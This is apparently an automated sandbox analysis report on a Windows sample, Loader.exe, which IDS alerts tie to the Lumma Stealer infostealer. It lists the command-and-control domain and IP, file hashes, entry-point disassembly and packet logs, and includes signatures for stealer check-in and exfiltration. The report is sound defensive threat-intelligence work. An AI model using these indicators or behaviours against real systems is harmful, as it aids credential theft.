Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Loader.exe	58%	ReversingLabs	Win32.Trojan.CrypterX
Loader.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ingreem-eilish.biz	104.21.90.135	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
sordid-snaked.cyou	false	high
awake-weaves.cyou	false	high
immureprech.biz	false	high
deafeninggeh.biz	false	high
debonairnukk.xyz	false	high
diffuculttan.xyz	false	high
effecterectz.xyz	false	high
wrathful-jammy.cyou	false	high
https://ingreem-eilish.biz/api	true	unknown
ingreem-eilish.biz	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz/&&	Loader.exe, 00000001.00000003.2640883555.000000000146F000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2641218007.0000000001476000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2640956088.0000000001474000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz/	Loader.exe, 00000001.00000002.2712486611.00000000013BD000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2567538989.000000000145D000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000002.2712486611.0000000001457000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz/apiC	Loader.exe, 00000001.00000002.2712486611.000000000140C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz/h	Loader.exe, 00000001.00000003.2690435332.0000000001475000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz:443/apiK	Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz:443/api	Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Loader.exe, 00000001.00000003.2614852902.0000000003775000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	Loader.exe, 00000001.00000003.2616062233.00000000039E9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Loader.exe, 00000001.00000003.2568059409.00000000036FD000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568126964.00000000036FA000.00000004.00000800.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2568255337.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ingreem-eilish.biz/apiX	Loader.exe, 00000001.00000002.2712836874.000000000147C000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2690412895.0000000001478000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ingreem-eilish.biz:443/apiicrosoft	Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.90.135	ingreem-eilish.biz	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579012
Start date and time:	2024-12-20 17:40:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Loader.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 34 Number of non-executed functions: 131
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Loader.exe

Simulations

Behavior and APIs

Time	Type	Description
11:41:44	API Interceptor	7x Sleep call for process: Loader.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.90.135	ryidtyjrh	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	104.21.86.72
	nshkarm.elf	Get hash	malicious	Mirai	Browse	104.25.87.101
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.197.170
	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	http://www.eventcreate.com/e/you-have-received-a-new-doc	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.90.135
	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.90.135
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.90.135
	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.90.135
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	104.21.90.135

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.256587943823873
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Loader.exe
File size:	3'208'704 bytes
MD5:	99604ef7ebf56a566a0cdb4b6bb0fa08
SHA1:	f16ce4bd1ba5eba29494ff69ac8d263e2f9110b7
SHA256:	cca815d086ab89c36262865aaa9e0dd7dc02830aec4e6a3fa8b662b65adf7ce0
SHA512:	97a518db9a2dbeaf8c2539135fdd19fafdb0ddad2cb2f14a596587db623a971f805b4c957801fa7db05078673545eb4ee365683944d70aba507ddc899d0fe7a2
SSDEEP:	98304:861nv8BvCX4CvockvGlOvB1gy7z/irvf1cF597EIcthe9Acv0ezr72U:861Dfof1vX/ibNcF5dhCGN
TLSH:	0CE56BBC1000CD36CB17C1B5B2032ACF7B6D26F2D99FB022679495EAA85F6CE49485D7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............A...A...A...@...A...@+..A...@...A.4.@...A.4.@...A.4.@...A...@...A...A...A&4.@...A&46A...A&4.@...ARich...A...............

File Icon


Icon Hash:	2c361212c3aced39

Static PE Info

General

Entrypoint:	0x6d4326
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x675D4DF9 [Sat Dec 14 09:20:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	e990cd25aa53852c85f149fcb0678c1e

Entrypoint Preview

Instruction
call 00007F5E38B642DAh
jmp 00007F5E38B63D8Fh
push ebp
mov ebp, esp
push 00000000h
call dword ptr [006E100Ch]
push dword ptr [ebp+08h]
call dword ptr [006E1008h]
push C0000409h
call dword ptr [006E1010h]
push eax
call dword ptr [006E1014h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [006E1018h]
test eax, eax
je 00007F5E38B63F17h
push 00000002h
pop ecx
int 29h
mov dword ptr [006E7A60h], eax
mov dword ptr [006E7A5Ch], ecx
mov dword ptr [006E7A58h], edx
mov dword ptr [006E7A54h], ebx
mov dword ptr [006E7A50h], esi
mov dword ptr [006E7A4Ch], edi
mov word ptr [006E7A78h], ss
mov word ptr [006E7A6Ch], cs
mov word ptr [006E7A48h], ds
mov word ptr [006E7A44h], es
mov word ptr [006E7A40h], fs
mov word ptr [006E7A3Ch], gs
pushfd
pop dword ptr [006E7A70h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [006E7A64h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [006E7A68h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [006E7A74h], eax
mov eax, dword ptr [ebp-00000324h]
mov dword ptr [006E79B0h], 00010001h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e68c4	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e9000	0xfab9	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f9000	0x199dc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2e5d80	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2e5cc0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e1000	0x108	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2df092	0x2df200	dc72ebcfb8ff7768f22fefca4be8ff49	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2e1000	0x5eb2	0x6000	e11117728ebcbec4e2528fb736829857	False	0.4133707682291667	data	4.7342482849867356	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2e7000	0x1498	0xa00	2e3d907102a146e9652e9b10f1b5f1e4	False	0.18359375	data	2.3274080229263867	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e9000	0xfab9	0xfc00	cebbbcdddafd8703a3201723b53ac01d	False	0.9126519097222222	data	7.585610831148343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2f9000	0x199dc	0x19a00	fd6c7e2d41b84e2eada46eb03bb3b9d4	False	0.7238090701219512	data	6.845556888592954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2e9430	0xd3c4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9950564450675127
RT_MENU	0x2f67f4	0x1a0	data			0.6177884615384616
RT_MENU	0x2f6994	0x2aa	data			0.5630498533724341
RT_DIALOG	0x2f6c40	0x2e0	data			0.5339673913043478
RT_DIALOG	0x2f6f20	0x20c	data			0.6125954198473282
RT_DIALOG	0x2f712c	0x318	data			0.5429292929292929
RT_DIALOG	0x2f7444	0x200	data			0.546875
RT_DIALOG	0x2f7644	0x2d0	data			0.5513888888888889
RT_STRING	0x2f7914	0x13c	data			0.6329113924050633
RT_STRING	0x2f7a50	0x194	data			0.599009900990099
RT_STRING	0x2f7be4	0x1a4	data			0.5833333333333334
RT_STRING	0x2f7d88	0x1ac	data			0.5841121495327103
RT_STRING	0x2f7f34	0x198	data			0.6151960784313726
RT_MESSAGETABLE	0x2f80cc	0x360	Matlab v4 mat-file (little endian) 9\001, rows 289, columns 297, imaginary			0.5057870370370371
RT_MESSAGETABLE	0x2f842c	0x1fc	Matlab v4 mat-file (little endian) )\001, rows 276, columns 281, imaginary			0.5551181102362205
RT_GROUP_ICON	0x2f8628	0x14	data			1.1
RT_VERSION	0x2f863c	0x300	data	English	United States	0.5091145833333334
RT_MANIFEST	0x2f893c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

VirtualProtect, WriteConsoleW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlUnwind, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, RaiseException, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetFileType, GetStringTypeW, LCMapStringW, GetProcessHeap, HeapSize, HeapReAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, SetFilePointerEx, CreateFileW, CloseHandle, DecodePointer

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:41:44.381468+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49756	104.21.90.135	443	TCP
2024-12-20T17:41:45.098343+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49756	104.21.90.135	443	TCP
2024-12-20T17:41:45.098343+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49756	104.21.90.135	443	TCP
2024-12-20T17:41:46.378510+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49761	104.21.90.135	443	TCP
2024-12-20T17:41:47.097956+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49761	104.21.90.135	443	TCP
2024-12-20T17:41:47.097956+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49761	104.21.90.135	443	TCP
2024-12-20T17:41:48.661686+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49767	104.21.90.135	443	TCP
2024-12-20T17:41:50.819969+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49773	104.21.90.135	443	TCP
2024-12-20T17:41:51.622335+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49773	104.21.90.135	443	TCP
2024-12-20T17:41:53.431410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49780	104.21.90.135	443	TCP
2024-12-20T17:41:55.900795+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49786	104.21.90.135	443	TCP
2024-12-20T17:41:57.871064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49792	104.21.90.135	443	TCP
2024-12-20T17:42:00.820993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49799	104.21.90.135	443	TCP
2024-12-20T17:42:01.648299+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49799	104.21.90.135	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:41:43.150978088 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:43.151032925 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:43.151204109 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:43.152499914 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:43.152518034 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:44.381395102 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:44.381468058 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:44.389568090 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:44.389597893 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:44.389830112 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:44.437151909 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:44.463648081 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:44.463676929 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:44.463778973 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.098329067 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.098433018 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.098543882 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.106513023 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.106543064 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.106555939 CET	49756	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.106563091 CET	443	49756	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.154830933 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.154881954 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:45.154966116 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.155304909 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:45.155318975 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:46.378355026 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:46.378509998 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:46.380244017 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:46.380255938 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:46.380500078 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:46.382421970 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:46.382421970 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:46.382494926 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.097956896 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.098021030 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.098093987 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.098108053 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.098129034 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.098181963 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.098189116 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.106517076 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.106760979 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.106776953 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.115153074 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.115238905 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.115251064 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.123719931 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.123791933 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.123800993 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.171585083 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.171601057 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.218620062 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.218631983 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.265394926 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.291074038 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.291187048 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.291413069 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.291454077 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.291471004 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.291481018 CET	49761	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.291486979 CET	443	49761	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.444859028 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.444899082 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:47.444998980 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.445322037 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:47.445338964 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:48.661549091 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:48.661685944 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:48.663085938 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:48.663103104 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:48.663352013 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:48.664743900 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:48.664900064 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:48.664932013 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:49.448012114 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:49.448278904 CET	443	49767	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:49.448332071 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:49.448359966 CET	49767	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:49.574582100 CET	49773	443	192.168.2.5	104.21.90.135
Dec 20, 2024 17:41:49.574646950 CET	443	49773	104.21.90.135	192.168.2.5
Dec 20, 2024 17:41:49.574733973 CET	49773	443	192.168.2.5	104.21.90.135
